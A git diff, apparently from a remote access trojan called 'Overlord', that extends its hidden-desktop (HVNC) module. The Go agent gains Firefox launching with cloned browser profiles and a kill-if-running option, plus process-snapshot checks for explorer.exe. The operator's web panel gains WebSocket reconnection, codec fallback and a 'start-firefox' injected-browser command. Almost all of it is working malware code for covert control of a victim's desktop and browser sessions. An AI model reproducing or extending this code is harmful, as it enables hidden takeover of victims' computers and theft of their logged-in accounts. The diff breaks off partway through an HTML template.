diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 1e552b1..7cde46e 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -213,6 +213,15 @@ var browserInfoMap = map[string]browserInfo{ }, userData: `Microsoft\Edge\User Data`, }, + "firefox": { + name: "Firefox", + exeName: "firefox.exe", + exePaths: []string{ + `\Mozilla Firefox\firefox.exe`, + }, + userData: `Mozilla\Firefox`, + useAppData: true, + }, } func findBrowserExe(info browserInfo) string { @@ -709,8 +718,11 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName "brave.exe": true, "msedge.exe": true, } - if browserExes[strings.ToLower(filepath.Base(filePath))] { + baseName := strings.ToLower(filepath.Base(filePath)) + if browserExes[baseName] { args += " --no-sandbox --allow-no-sandbox-job --disable-gpu --start-fullscreen" + } else if baseName == "firefox.exe" { + args += " -no-remote -wait-for-browser" } cmdLine, err := syscall.UTF16FromString(filePath + args) if err != nil { diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 4831b21..7994a57 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -173,7 +173,16 @@ var ( // Capture cache: pooled DC/DIB per window to avoid per-frame allocation hvncWinCache map[uintptr]*hvncWinCacheEntry - hvncWinCachePrev []byte // previous composite frame for dirty detection + hvncWinCachePrev []byte + + hvncCompHdcMem uintptr + hvncCompHbmp uintptr + hvncCompBits unsafe.Pointer + hvncCompW int + hvncCompH int + + hvncPendingMouseMove *hvncTask + hvncPendingMoveMu sync.Mutex ) type hvncTaskKind int @@ -355,6 +364,28 @@ func CleanupHVNCDesktop() { hvncWinCache = nil hvncWinCachePrev = nil + if hvncCompHbmp != 0 { + deleteObject(hvncCompHbmp) + hvncCompHbmp = 0 + } + if hvncCompHdcMem != 0 { + deleteDC(hvncCompHdcMem) + hvncCompHdcMem = 0 + } + hvncCompBits = nil + hvncCompW = 0 + hvncCompH = 0 + + hvncInputMu.Lock() + hvncShiftDown = false + hvncCtrlDown = false + hvncAltDown = false + hvncCapsLock = false + hvncMouseButtons = 0 + hvncHasCursor = false + hvncWorkingWindow = 0 + hvncInputMu.Unlock() + if hvncDesktopHandle != 0 { if hvncOriginalDesktop != 0 { procSetThreadDesktop.Call(hvncOriginalDesktop) @@ -817,19 +848,7 @@ func hvncAutoStartExplorerOnThread() error { return nil } - found := false - hwnd := getTopWindow(0) - for hwnd != 0 { - var pid uint32 - procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid))) - if pid != 0 && isExplorerPID(pid) { - found = true - break - } - hwnd = getWindow(hwnd, GW_HWNDNEXT) - } - - if found { + if isExplorerRunningToolhelp() { log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start") hvncExplorerStarted = true return nil @@ -866,6 +885,41 @@ func isExplorerPID(pid uint32) bool { return strings.HasSuffix(name, `\explorer.exe`) } +func isExplorerRunningToolhelp() bool { + const TH32CS_SNAPPROCESS = 0x00000002 + snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0) + if snap == 0 || snap == ^uintptr(0) { + return false + } + defer procCloseHandle.Call(snap) + + type processEntry32 struct { + dwSize uint32 + cntUsage uint32 + th32ProcessID uint32 + th32DefaultHeapID uintptr + th32ModuleID uint32 + cntThreads uint32 + th32ParentProcessID uint32 + pcPriClassBase int32 + dwFlags uint32 + szExeFile [260]uint16 + } + + var pe processEntry32 + pe.dwSize = uint32(unsafe.Sizeof(pe)) + ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe))) + for ret != 0 { + name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:])) + if name == "explorer.exe" { + return true + } + pe.dwSize = uint32(unsafe.Sizeof(pe)) + ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe))) + } + return false +} + func hvncMouseMoveOnThread(display int, x, y int32) error { bounds, _ := hvncResolveCaptureBounds(display) if bounds.Dx() <= 0 || bounds.Dy() <= 0 { diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index c87011f..074fcb6 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -9,13 +9,42 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const clientLabel = document.getElementById("clientLabel"); clientLabel.textContent = clientId; - const ws = new WebSocket( - (location.protocol === "https:" ? "wss://" : "ws://") + + let ws = null; + let reconnectTimer = null; + let reconnectDelay = 1000; + const maxReconnectDelay = 15000; + + function buildWsUrl() { + return (location.protocol === "https:" ? "wss://" : "ws://") + location.host + "/api/clients/" + clientId + - "/hvnc/ws", - ); + "/hvnc/ws"; + } + + function connectWs() { + if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; } + ws = new WebSocket(buildWsUrl()); + ws.binaryType = "arraybuffer"; + ws.addEventListener("open", onWsOpen); + ws.addEventListener("message", onWsMessage); + ws.addEventListener("close", onWsClose); + ws.addEventListener("error", onWsError); + } + + function scheduleReconnect() { + if (reconnectTimer) return; + reconnectTimer = setTimeout(() => { + reconnectTimer = null; + setStreamState("connecting", "Reconnecting"); + connectWs(); + reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay); + }, reconnectDelay); + } + const latencyEl = document.getElementById("latencyDisplay"); + let lastInputSentAt = 0; + let lastLatencyMs = 0; + const displaySelect = document.getElementById("displaySelect"); const refreshBtn = document.getElementById("refreshDisplays"); const startBtn = document.getElementById("startBtn"); @@ -37,8 +66,6 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const agentFps = document.getElementById("agentFps"); const viewerFps = document.getElementById("viewerFps"); const statusEl = document.getElementById("streamStatus"); - ws.binaryType = "arraybuffer"; - let activeClientId = clientId; let renderCount = 0; let renderWindowStart = performance.now(); @@ -56,6 +83,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; let lastMoveSentAt = 0; const mouseMoveIntervalMs = 33; const inputBackpressureBytes = 256 * 1024; + let h264ErrorCount = 0; + let h264RetryTimer = null; const storedCodecPref = localStorage.getItem(codecPrefKey); if (storedCodecPref === "0") { @@ -147,7 +176,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } function updateControls() { - const wsOpen = ws.readyState === WebSocket.OPEN; + const wsOpen = ws && ws.readyState === WebSocket.OPEN; const isStarting = streamState === "starting"; const isStreaming = streamState === "streaming"; const isStopping = streamState === "stopping"; @@ -259,7 +288,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; console.warn("No active client selected"); return; } - if (ws.readyState !== WebSocket.OPEN) { + if (!ws || ws.readyState !== WebSocket.OPEN) { return; } const msg = { type, ...payload }; @@ -342,16 +371,30 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; function fallbackToJpegCodec(reason) { if (!prefersH264) return; + h264ErrorCount++; prefersH264 = false; destroyVideoDecoder(); if (codecH264) codecH264.checked = false; - localStorage.setItem(codecPrefKey, "0"); - console.warn("hvnc: falling back to jpeg codec", reason || ""); + console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount); const q = Number(qualitySlider?.value) || 90; setCodecModeLabel("jpeg", "fallback"); - if (ws.readyState === WebSocket.OPEN) { + if (ws && ws.readyState === WebSocket.OPEN) { sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" }); } + if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") { + if (h264RetryTimer) clearTimeout(h264RetryTimer); + h264RetryTimer = setTimeout(() => { + h264RetryTimer = null; + prefersH264 = true; + if (codecH264) codecH264.checked = true; + setCodecModeLabel("h264", "retry"); + if (ws && ws.readyState === WebSocket.OPEN) { + pushQuality(qualitySlider?.value || 90); + } + }, 5000); + } else if (h264ErrorCount > 3) { + localStorage.setItem(codecPrefKey, "0"); + } } function isH264KeyFrame(data) { @@ -465,7 +508,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); } - ws.addEventListener("message", async function (ev) { + async function onWsMessage(ev) { if (ev.data instanceof ArrayBuffer) { const buf = new Uint8Array(ev.data); if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) { @@ -596,6 +639,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleCloneProgress(msg); return; } + if (msg && msg.type === "hvnc_error") { + console.error("hvnc: server error:", msg.error || msg.message); + return; + } return; } @@ -608,34 +655,48 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleCloneProgress(msg); return; } - }); + if (msg && msg.type === "hvnc_error") { + console.error("hvnc: server error:", msg.error || msg.message); + return; + } + } - ws.addEventListener("open", function () { + function onWsOpen() { + reconnectDelay = 1000; if (qualitySlider) { pushQuality(qualitySlider.value); } clearOfflineTimer(); - setStreamState("idle", "Stopped"); + if (desiredStreaming) { + setStreamState("starting", "Resuming stream"); + if (displaySelect && displaySelect.value !== undefined) { + sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 }); + } + sendCmd("hvnc_start", { autoStartExplorer: false }); + } else { + setStreamState("idle", "Stopped"); + } fetchClientInfo().then(() => { if (displaySelect && displaySelect.value) { - console.debug("hvnc: initial select display", displaySelect.value); - sendCmd("hvnc_select_display", { - display: parseInt(displaySelect.value, 10), - }); + sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) }); } }); - }); + } - ws.addEventListener("close", function () { - desiredStreaming = false; + function onWsClose() { destroyVideoDecoder(); - setStreamState("disconnected", "Disconnected"); - }); + if (desiredStreaming) { + setStreamState("connecting", "Reconnecting"); + scheduleReconnect(); + } else { + setStreamState("disconnected", "Disconnected"); + } + } - ws.addEventListener("error", function () { + function onWsError() { destroyVideoDecoder(); setStreamState("error", "WebSocket error"); - }); + } if (!frameWatchTimer) { frameWatchTimer = setInterval(() => { @@ -754,7 +815,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); function stopOnExit() { - if (ws.readyState === WebSocket.OPEN && desiredStreaming) { + if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) { desiredStreaming = false; sendCmd("hvnc_stop", {}); } @@ -818,20 +879,68 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning }); + } else if (action === "start-firefox") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning }); } else if (action === "start-custom") { - const exePath = prompt("Enter exe path (required)"); - if (!exePath) { - hideContextMenu(); - return; - } - const args = prompt("Enter arguments (optional)") || ""; - const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`; - sendCmd("hvnc_start_process", { path: cmd }); + hideContextMenu(); + showCustomExeModal(); + return; } hideContextMenu(); }); }); } + function showCustomExeModal() { + let overlay = document.getElementById("hvncCustomExeOverlay"); + if (overlay) { overlay.remove(); } + overlay = document.createElement("div"); + overlay.id = "hvncCustomExeOverlay"; + overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60"; + overlay.innerHTML = ` +